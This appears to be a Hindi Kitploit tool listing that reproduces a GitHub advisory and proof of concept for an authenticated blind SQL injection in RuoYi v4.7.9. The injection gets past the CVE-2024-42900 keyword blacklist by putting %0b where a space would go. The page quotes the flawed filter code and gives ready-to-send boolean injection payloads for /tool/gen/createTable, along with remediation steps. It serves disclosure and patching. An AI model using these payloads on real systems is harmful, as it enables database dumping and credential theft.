Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-57521-SQL-Injection-PoC — # RuoYi v4.7.9 के लिए ब्लाइंड SQL इंजेक्शन प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2024-42900 फ़िल्टर को बायपास करते हुए, प्रमाणित बूलियन-आधारित इंजेक्शन के माध्यम से डेटाबेस डंप करने के लिए RuoYi v4.7.9 का ब्लाइंड SQL इंजेक्शन प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। | Kitploit
उपकरण/GitHubGitHub/mrlihd/cve-2024-57521-sql-injection-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगडेटाबेस सुरक्षा
GitHubmrlihd/cve-2024-57521-sql-injection-poc

CVE-2024-57521-SQL-Injection-PoC

# RuoYi v4.7.9 के लिए ब्लाइंड SQL इंजेक्शन प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2024-42900 फ़िल्टर को बायपास करते हुए, प्रमाणित बूलियन-आधारित इंजेक्शन के माध्यम से डेटाबेस डंप करने के लिए RuoYi v4.7.9 का ब्लाइंड SQL इंजेक्शन प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
18 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

RuoYi v4.7.9 में प्रमाणित SQL इंजेक्शन (CVE-2024-42900 का बाईपास)

परिचय

मैंने RuoYi Framework v4.7.9 की createTable सुविधा में एक ब्लाइंड SQL इंजेक्शन भेद्यता खोजी है। यह एक प्रमाणित व्यवस्थापक को sql पैरामीटर के माध्यम से मनमाने SQL कमांड निष्पादित करने की अनुमति देता है। यह CVE-2024-42900 फिक्स का बाईपास है क्योंकि filterKeyword विधि में SQL इंजेक्शन फ़िल्टर अपर्याप्त है, रिक्त स्थानों के वैकल्पिक वर्ण के रूप में %0b का उपयोग करके रेगेक्स को बाईपास किया जा सकता है।

प्रभावित संस्करण

उत्पाद: RuoYi Framework
संस्करण: ≤ 4.7.9
लिंक: [Ruoyi]

भेद्यता विश्लेषण

यह भेद्यता निम्नानुसार https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java फ़ाइल में पाई गई थी। एप्लिकेशन SQL इंजेक्शन हमलों को फ़िल्टर करने के लिए ब्लैकलिस्ट कीवर्ड पर निर्भर करता है, यह दृष्टिकोण बाईपास के लिए प्रवण है। इस मामले में, CVE-2024-42900 को ठीक करने के लिए, स्ट्रिंग को ब्लैकलिस्ट में जोड़ा गया था, लेकिन एप्लिकेशन अभी भी वर्ण को ब्लॉक नहीं करता है, इसलिए मैं के साथ SQL इंजेक्शन ट्रिगर करने के लिए इसका उपयोग कर सकता हूँ।

/*
%0b
select%0b
root@kitploit:~
public class SqlUtil
{
    /**
     * 定义常用的 sql关键字
     */
    public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
    // Note the space after 'select '
    public static void filterKeyword(String value)
    {
        if (StringUtils.isEmpty(value))
        {
            return;
        }
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
        for (String sqlKeyword : sqlKeywords)
        {
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
            {
                throw new UtilException("参数存在SQL注入风险");
            }
        }
    }
}

रेगेक्स select select (जिसके बाद एक स्थान होता है) से मेल खाता है। यह select%0b से मेल नहीं खाता, जो SQL में एक मान्य विभाजक है।

बूलियन SQL इंजेक्शन को दोहराने के चरण

  1. व्यवस्थापक के रूप में लॉग इन करें
  2. createTable अनुरोध भेजें (संवेदनशील एंडपॉइंट /tool/gen/createTable)
    a. एक TRUE क्वेरी इंजेक्ट करें: true-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
    
    b. एक FALSE क्वेरी इंजेक्ट करें: false-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
    

चेतावनी: प्रत्येक सफल क्वेरी के बाद CREATE क्वेरी में tablename बदलना आवश्यक है। 3. बूलियन-आधारित SQL इंजेक्शन के साथ, इस रेपो में मौजूद Python [poc] का उपयोग करके डेटा एक्सफ़िल्ट्रेट किया जा सकता है
उपयोग
poc-usage
DB संस्करण एक्सफ़िल्ट्रेट करने वाला poc
poc-db-version

प्रभाव

व्यवस्थापकीय विशेषाधिकार वाला हमलावर पूरे डेटाबेस को डंप कर सकता है, जिसमें अन्य उपयोगकर्ताओं के क्रेडेंशियल और सिस्टम कॉन्फ़िगरेशन शामिल हैं।

परामर्श

  1. %0b वर्ण को फ़िल्टर करें।
  2. select के बजाय कीवर्ड select को फ़िल्टर करें (अंतिम स्थान हटाएँ)
  3. Ruoyi CMS को 4.8.0 संस्करण में अपडेट करें
टूल डाउनलोड करें